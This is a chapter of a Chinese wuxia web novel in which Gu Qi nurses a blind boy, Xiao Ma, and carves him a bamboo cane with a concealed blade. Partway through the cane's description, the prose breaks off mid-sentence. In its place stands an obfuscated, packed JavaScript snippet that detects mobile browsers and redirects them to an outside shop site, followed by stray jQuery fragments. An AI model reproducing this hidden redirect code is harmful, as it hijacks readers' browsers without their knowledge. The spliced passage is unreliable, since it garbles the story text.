9. 【遛娃】
    第009章【遛娃】

    狗。

    顾栖是真狗。

    见着小马摸过来,这孙子身形化作一团幽邈雾气,飘到另一头。

    小马偏个脑袋,刚找准方位,他又已挪了脚,笑如二月花。

    “……九哥,你在哪儿?”

    小屁孩孤立无援,虚虚低喘。

    “……”

    顾栖放慢了步伐。

    颠沛流离“十万八千里”,小孩总算撞进顾栖的胸怀,一双盲眼,伶仃颤动:

    “……九哥,你去了什么地方?为什么……这么久……”

    顾栖老神在在:

    “唉,还是先让我瞧瞧你吧。不错,白白嫩嫩,还长胖了些,看来这三天伙食蛮不赖。”

    “九哥,东西还你……”

    小马递还顾栖小瓶子,窘迫的呼吸,趋近于平稳。

    顾栖笑笑,环顾一圈又问瞿良:

    “嫂子人呢?”

    “郊外有户人家请嫂子去瞧病,她也许要过几天才能回来。对了,我已四处打探过,九爷你说的那个大人物,很可能是——”

    “是司马家的人。”

    顾栖目色悠远。

    河内司马家——曹魏朝堂上,唯一能和曹氏皇族分庭抗礼的力量。

    双方的权利博弈,相持不下二十年。

    郑徽虽不在曹魏中央任职,却与司马一族过往甚密。

    而校事府皇权直属,杨缮等人跟郑徽这号司马党羽维持表面和谐时,氛围才会那么不对味。

    和子夜山庄一样,冥漠之都背后,也是曹家人扶持。

    司马家在江湖上,势力却要薄弱些,郑徽发愿除掉太山君,跟司马家脱不了关系。

    “天啊,九爷你想到洛阳有人来沛县就算了,怎么还能这么精准呢?!”

    瞿良差点跳起来。

    顾栖打个大哈欠,笑而不答,只领着瞿良和小马在堂前大搓上一顿。

    瞿良边炫饭边询问杨缮等人的境况:

    “九爷,你既然回来,就说明三哥他们一行不会有事对吧?”

    顾栖:“呐,跟我念,般若波罗蜜。”

    瞿良:“啥??”

    “记住咯,一天三遍,消灾解难。走吧小马,咱们睡觉觉,长高高!”

    顾栖吃饱喝足,又牵起小崽子,留下瞿良一脸懵。

    “九哥,我自己可以,”小马摇摇头,脱开顾栖的爪子,“总不能事事都要九哥帮我。”

    “士别三人,刮目相看。”

    顾栖由衷感慨,依着小马自个儿往药寮内摸索。

    好歹住了三天,药寮内有哪些东西、在什么方位,小马已记得七八。

    顾栖不言不语地跟着,瞧他跨过了中庭,嘴角恨不得挂到眉梢上。

    ……可惜还是笑早了。

    后舍台阶前,小屁孩一脚踩空。

    他小手探探地,坚强爬起来,又向前迈步,战战兢兢、磕磕碰碰,终于推开后舍的房门。

    九九八十一难,却仍没收官。

    刚进屋,小孩就撞歪柜子、碰倒椅子,桌上小油灯,也紧跟打翻。

    世所仅有的花容月貌,眼瞅毁于滚烫的灯油。

    顾栖飞身抢上前,一手薅起小屁孩,一手托住灯底座。

    这下好,灯油没浇到小孩,却洗礼了顾栖的爪子。

    顾栖手背上顿时一滩碍眼的绯色。

    疼,生生疼。

    “九哥——我、我又惹祸了么?”

    小马觫觫地虚颤。

    “对不起……我太没用……这点小事都做不好……”

    “胡诌八扯些什么,你超棒的好不好,一个人就敢跟冥漠之都对抗!”

    “……冥漠之都?!”

    小马瞬间魂飞魄散似捂起耳朵。

    顾栖原想借机问问相关消息,见了小孩模样,赶紧断念想。

    “没事没事,先让我看看你受伤了没。”

    他揉揉小家伙脑壳,撸起他衣袖和裤腿。

    刚才跌了不止一跤,小马惨白的娇肤,已烙印好几道深痕。

    经由检查,万幸没伤到骨头。

    顾栖褪去小马外衫,直接抱他到床上,指尖的温存,春雨润如酥。

    “晚了,休息吧。”

    他气息微微凉,落在小家伙耳根,清风拂山岗。

    小马受到无微不至的安抚,身板总算变松弛。

    “九哥——”他眼皮儿打架,扯住顾栖袖口,郁郁闷哼,“你能不能……别走……”

    “成,不走。”

    顾栖浅笑低吟,斜坐床头。

    “我现在……不是一个人了……”

    痴痴呓语中,小家伙酣然入眠。

    深宵的晚空,星月在摇动。

    顾栖透过窗子望天,眼底倒映清绮星河。

    河中央,仿佛有条小船浮游,载着小崽子,驶向一重旖旎的梦。

    往后七八日,岁月悠且长。

    由于玉儿已提前给小马预配足药量,即便她不在,顾栖瞿良也能照方熬煮。

    可是良药苦口,怎么让小崽子乖乖喝药,仍令人头大。

    这时候,顾栖买的糖果蜜饯便派上用场。

    喝半碗药,奖一颗糖,一碗全喝掉,点心一箩筐。

    小马被顾栖连蒙带哄,每天几副汤药下肚,精神头肉眼可见地增长。

    总结起来,顾栖这些天,主要就干三件事:

    该吃吃、该睡睡、该遛娃遛娃。

    说不清打哪刻起,小马似乎已将顾栖当成世上唯一的依靠。

    只要顾栖在身边,甭管干什么,都让他十足地安心。

    如此一来,这位小朋友好吃好喝休养着,每天的要务,也就只余下三样:

    吃饭饭、睡觉觉、等抱抱。

    打个不太恰当的比喻,热恋中的小情侣,都不一定有他俩人如胶似漆。

    这日午后,玉儿归来,顾栖同她简单寒暄上两句,便独自晃悠到药寮的中庭。

    墙下栽着十来株翠竹,时下正当葱葱茏茏。

    顾栖抽了“狼牙”出窍,砍下一截纤长玉竹,猫到角落里。

    对着竹竿子,这位爷一会儿打打磨磨,一会儿雕雕琢琢,一会儿又一通乒棱乓啷地劈凿。

    玉儿和瞿良瞧见这情景,都满眼不解。

    但顾栖已臻忘我之境,任谁叫都不好使。

    “小瞿,药给我吧。我一连几日都不在,得去好好瞧瞧小马了。”

    玉儿从瞿良手里接过刚煮好的药,步入后舍屋中。

    墙角下,顾栖背对玉儿,暗戳戳侧目,眼神不可名状。

    察言观色,把脉听心。

    看到小马生命指征一切向好,玉儿如释重负。

    药里有静气安神的功效,不多时,小马便昏昏欲睡。

    “九哥……救了我……是他让我活下来……他的恩情,我刻骨铭心……”

    他迷迷糊糊地嘤咛。

    “从今而后……我的命就是九哥的……他要我怎样……我就会怎样……一心一意,无怨无悔……”

    玉儿正往屋外走,耳闻小家伙的话,恍然失色。

    瞿良在外面候着,见她脸上愁雾淤结,忙问哪里出状况。

    “啊,没,小马很好。”

    玉儿回神。

    瞿良笑得质拙:“嫂子,你是想三哥了吧?”

    玉儿颊上晕红:“你小子,净胡说……”

    “嫂子,你人美心善,医术又超绝!三哥娶到你,真是撞大运!”

    “遇到三哥才是我天大的福分!他英武雄健,心思却细腻,知我懂我、敬我重我。得此一人,余生足矣。”

    玉儿羞涩垂眉,转身离去时,裙裾袅袅,步步生莲。

    转眼天已黑下来。

    瞿良吆喝声“开饭!”,顾栖眨眼饿狗扑食到桌前。

    一如既往一口口喂饱小朋友,他便滚回犄角旮旯里,继续未竟的“事业”。

    再之后的三五天,顾栖也像着了魔,除了干饭比谁都积极,剩下时间全在跟竹子死磕。

    直到某日大清早,这位爷方才抖抖一身竹渣,捧着自个儿的“杰作”,笑呵呵来找小马。

    “宝,伸手。”

    “九哥,这、这是?”

    “给你的。”

    “??!!”

    顾栖递到小马手里的,是一支精巧雅致的玉竹杖。

    原来,他忙忙叨叨这么久,打造了一柄用以探路的手杖。

    小马指尖抚摸玉竹杖,惊喜得说不出话,两片小嘴唇,弧度越扬越高昂,一双盲眼都好似不可思议地透了光出来。

    玉竹杖打磨得锃亮,竹节与竹节之间,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125373|149899||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    带着精密小机括,不仅可以调节长短,也能进行折叠收纳。

    手柄的位置,还做出了凹槽,完美匹配手指抓握的曲度。

    小马沿着竹节缓移小手,又在手柄顶端摸到一处隐藏卡扣。

    他摁动卡扣,触发暗藏的机关,一缕寒芒刹那飞射而出。

    从竹鞘里弹出来的,正是“狼牙”之一。

    利刃肃杀出鞘,直击小马心灵。

    “还有那把刀!?”

    “早说过要送你呀。”

    顾栖大嘴咧得能吞西瓜。

    “单一根棍子,没什么大作为,我索性加了这玩意儿进来,当给你防身。不过,我更希望你平安顺遂,永远不会用到它。”

    小马眉心赤色玲珑痣,像座喷发的小火山。

    “九哥,我一定学着去做更多事,绝不辜负你心意!”

    “练练自己走吧。”

    “嗯!”

    瞿良见到小马手握着“狼牙”,立马血脉偾张。

    “九爷你——你跟我来!”

    他攥着顾栖爪子,一口气拉他到街上。

    “雁息哥你没疯吧?!那可是你的‘狼牙’啊!”

    突然意识到不妥,瞿良后半句极力往下压,只发出气音。

    “嘶……你先放手!”

    顾栖龇牙咧嘴。

    “哎你、你这又是怎么搞的?!”

    瞿良这才察觉自己沾了满手的脓血。

    “行了,别滋儿哇乱叫。”

    顾栖蔫不唧冲伤处吹“仙气”。

    这家伙内伤积沉,只剩一具行将腐坏的躯壳,灯油烫到的那只手,一直没见好。

    再加上多日手工活,如今虎口处,皮肉皆糜烂。

    瞿良用力一握,可不疼得他五官闹分家。

    “上好的兵刃,就这么送给那孩子?!你到底咋想的?!”

    “身外物,生不带来、死不带去。”

    顾栖好伟大的一张脸。

    “怎么样,我手艺是不是没荒废,幸不辱师门?”

    “瞧把你能耐的,天底下哪个不知,天枢四象阁的机巧技艺,举世无双!”

    青城山,天枢四象阁——巴蜀第一大门派,书里主角攻师承。

    顾栖的师尊,就是四象阁的最高统领者。

    几十年前,那位高人联合江湖异士开宗立派,不但深耕武学一道,更精钻于机关术数。

    顾栖虽然没花心思研究过奇术,但耳濡目染下,高低有了解。

    瞿良:“欸,木已成舟。反正也不成双了,要不另一把送我得了呗?”

    顾栖:“回去给我上药,只要伺候得我舒舒服服的,不是不能考虑。”

    瞿良:“得嘞,您里边请!”

    俩人嬉笑怒骂,又回到药寮。

    小马与竹杖磨合,只一会儿功夫,行走间已比从前大胆。

    顾栖满意一笑,睡了个好觉。

    一晃又过十来天。

    夏日将尽,秋风乍起,杨缮等人离开沛县,已然有月余。

    顾栖生活照旧,只是谈及冥漠之都时,小马仍会惊惧失魂,创伤性应激障碍了属于是。

    见状,顾栖索性再不提这四字,每天聊骚聊骚小马,奚落奚落瞿良,日子过得好不惬意。

    这天玉儿外出看诊,整座药寮里又只剩顾栖瞿良小马三人。

    小马玉竹杖在手,经过多日的练习,走路基本已顺畅,小胸脯前所未有地笔挺。

    当晚训练后,他额角破天荒淌下小汗珠,顾栖便领他到中庭纳凉。

    瞿良饭后消食耍套剑招,憧憬朝顾栖眨眼:

    “九爷,三哥什么都好,就是性子忒无趣。此间事了,还是让我和小管小丁都跟着你吧!”

    “跟着我干嘛?吃喝玩乐、虚度年华?”

    顾栖怀抱小崽子,悠哉啃大瓜。

    “你们呀,还是太年轻。杨老三才是干大事的人,想要有建树,就得锚定他。”

    “九哥,那我能跟着你吗?”

    小马轻蹭顾栖的衣角。

    “小马,九爷老早就说会给你找个好人家,你不用担忧往后的生活!”

    瞿良上赶着抢话。

    “什么?!”

    小家伙身躯一紧,黑灯瞎火的瞳眸,婆婆娑娑地颤动。

    “……九哥……要送我走?”